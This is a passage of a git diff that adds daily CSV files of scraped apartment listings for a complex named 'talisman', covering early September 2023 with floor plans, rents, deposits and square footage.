Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230904,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230904,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230904,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230904,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230904,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230904,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230904,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230904,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230904,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230904,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230904,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230904,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230904,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230904,talisman,C5 (2x2),2 Bed 2 Bath,"$2,903",$300,934 - 984 sq.ft.,None,N/A +20230904,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230904,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230904,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230904,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230904,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230904,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230904,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230904,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230904,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230904,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230904,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230904,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230904,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230904,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230904,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230904,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230905.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230905.csv new file mode 100644 index 00000000000..9df72925500 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230905.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230905,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230905,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230905,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230905,talisman,A1 (1x1),1 Bed 1 Bath,"$1,860",$300,604 - 671 sq.ft.,None,N/A +20230905,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230905,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230905,talisman,A2 (1x1),1 Bed 1 Bath,"$1,910",$300,617 - 715 sq.ft.,None,N/A +20230905,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230905,talisman,A6 (1x1),1 Bed 1 Bath,"$1,905",$300,650 sq.ft.,None,N/A +20230905,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230905,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230905,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230905,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230905,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230905,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230905,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230905,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230905,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230905,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230905,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230905,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230905,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230905,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230905,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230905,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230905,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230905,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230905,talisman,C5 (2x2),2 Bed 2 Bath,"$2,903",$300,934 - 984 sq.ft.,None,N/A +20230905,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230905,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230905,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230905,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230905,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230905,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230905,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230905,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230905,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230905,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230905,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230905,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230905,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230905,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230905,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230905,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230906.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230906.csv new file mode 100644 index 00000000000..c134c28b07d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230906.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230906,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230906,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230906,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230906,talisman,A1 (1x1),1 Bed 1 Bath,"$1,885",$300,604 - 671 sq.ft.,None,N/A +20230906,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230906,talisman,A3 (1x1),1 Bed 1 Bath,"$1,940",$300,609 - 642 sq.ft.,None,N/A +20230906,talisman,A2 (1x1),1 Bed 1 Bath,"$1,910",$300,617 - 715 sq.ft.,None,N/A +20230906,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230906,talisman,A6 (1x1),1 Bed 1 Bath,"$1,905",$300,650 sq.ft.,None,N/A +20230906,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230906,talisman,B5 (1x1),1 Bed 1 Bath,"$2,250",$300,674 - 775 sq.ft.,None,N/A +20230906,talisman,B2 (1x1),1 Bed 1 Bath,"$2,320",$300,706 - 739 sq.ft.,None,N/A +20230906,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230906,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230906,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230906,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230906,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230906,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230906,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230906,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230906,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230906,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230906,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230906,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230906,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230906,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230906,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230906,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230906,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230906,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230906,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230906,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230906,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230906,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230906,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230906,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230906,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230906,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230906,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230906,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230906,talisman,D1 (3x2),3 Bed 2 Bath,"$3,465",$300,1241 - 1362 sq.ft.,None,N/A +20230906,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230906,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230906,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230907.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230907.csv new file mode 100644 index 00000000000..b70eb1e3403 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230907.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230907,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230907,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230907,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230907,talisman,A1 (1x1),1 Bed 1 Bath,"$1,800",$300,604 - 671 sq.ft.,None,N/A +20230907,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230907,talisman,A3 (1x1),1 Bed 1 Bath,"$1,855",$300,609 - 642 sq.ft.,None,N/A +20230907,talisman,A2 (1x1),1 Bed 1 Bath,"$1,825",$300,617 - 715 sq.ft.,None,N/A +20230907,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230907,talisman,A6 (1x1),1 Bed 1 Bath,"$1,820",$300,650 sq.ft.,None,N/A +20230907,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230907,talisman,B5 (1x1),1 Bed 1 Bath,"$2,134",$300,674 - 775 sq.ft.,None,N/A +20230907,talisman,B2 (1x1),1 Bed 1 Bath,"$2,204",$300,706 - 739 sq.ft.,None,N/A +20230907,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230907,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230907,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,669",$300,745 - 828 sq.ft.,None,N/A +20230907,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230907,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230907,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230907,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230907,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230907,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230907,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230907,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230907,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230907,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230907,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230907,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230907,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230907,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230907,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230907,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230907,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230907,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,299",$300,1140 - 1185 sq.ft.,None,N/A +20230907,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230907,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230907,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230907,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230907,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230907,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230907,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230907,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230907,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230907,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230907,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230908.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230908.csv new file mode 100644 index 00000000000..a848d1a74c4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230908.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230908,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230908,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230908,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230908,talisman,A1 (1x1),1 Bed 1 Bath,"$1,800",$300,604 - 671 sq.ft.,None,N/A +20230908,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230908,talisman,A3 (1x1),1 Bed 1 Bath,"$1,855",$300,609 - 642 sq.ft.,None,N/A +20230908,talisman,A2 (1x1),1 Bed 1 Bath,"$1,825",$300,617 - 715 sq.ft.,None,N/A +20230908,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230908,talisman,A6 (1x1),1 Bed 1 Bath,"$1,820",$300,650 sq.ft.,None,N/A +20230908,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230908,talisman,B5 (1x1),1 Bed 1 Bath,"$2,134",$300,674 - 775 sq.ft.,None,N/A +20230908,talisman,B2 (1x1),1 Bed 1 Bath,"$2,204",$300,706 - 739 sq.ft.,None,N/A +20230908,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230908,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230908,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,669",$300,745 - 828 sq.ft.,None,N/A +20230908,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230908,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230908,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230908,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230908,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230908,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230908,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230908,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230908,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230908,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230908,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,039",$300,890 - 945 sq.ft.,None,N/A +20230908,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230908,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230908,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230908,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230908,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230908,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230908,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,299",$300,1140 - 1185 sq.ft.,None,N/A +20230908,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230908,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230908,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230908,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230908,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230908,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230908,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230908,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230908,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230908,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230908,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230909.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230909.csv new file mode 100644 index 00000000000..3dea11b78c3 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230909.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230909,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230909,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230909,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230909,talisman,A1 (1x1),1 Bed 1 Bath,"$1,775",$300,604 - 671 sq.ft.,None,N/A +20230909,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230909,talisman,A3 (1x1),1 Bed 1 Bath,"$1,855",$300,609 - 642 sq.ft.,None,N/A +20230909,talisman,A2 (1x1),1 Bed 1 Bath,"$1,800",$300,617 - 715 sq.ft.,None,N/A +20230909,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230909,talisman,A6 (1x1),1 Bed 1 Bath,"$1,820",$300,650 sq.ft.,None,N/A +20230909,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230909,talisman,B5 (1x1),1 Bed 1 Bath,"$2,078",$300,674 - 775 sq.ft.,None,N/A +20230909,talisman,B2 (1x1),1 Bed 1 Bath,"$2,093",$300,706 - 739 sq.ft.,None,N/A +20230909,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230909,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230909,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,681",$300,745 - 828 sq.ft.,None,N/A +20230909,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230909,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230909,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230909,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230909,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230909,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230909,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230909,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230909,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230909,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230909,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,051",$300,890 - 945 sq.ft.,None,N/A +20230909,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230909,talisman,C5 (2x2),2 Bed 2 Bath,"$2,896",$300,934 - 984 sq.ft.,None,N/A +20230909,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230909,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230909,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230909,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230909,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,311",$300,1140 - 1185 sq.ft.,None,N/A +20230909,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230909,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230909,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230909,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230909,talisman,CL1 (2x2),2 Bed 2 Bath,"$3,546",$300,1265 - 1297 sq.ft.,None,N/A +20230909,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230909,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230909,talisman,D1 (3x2),3 Bed 2 Bath,"$3,413",$300,1241 - 1362 sq.ft.,None,N/A +20230909,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230909,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230909,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git 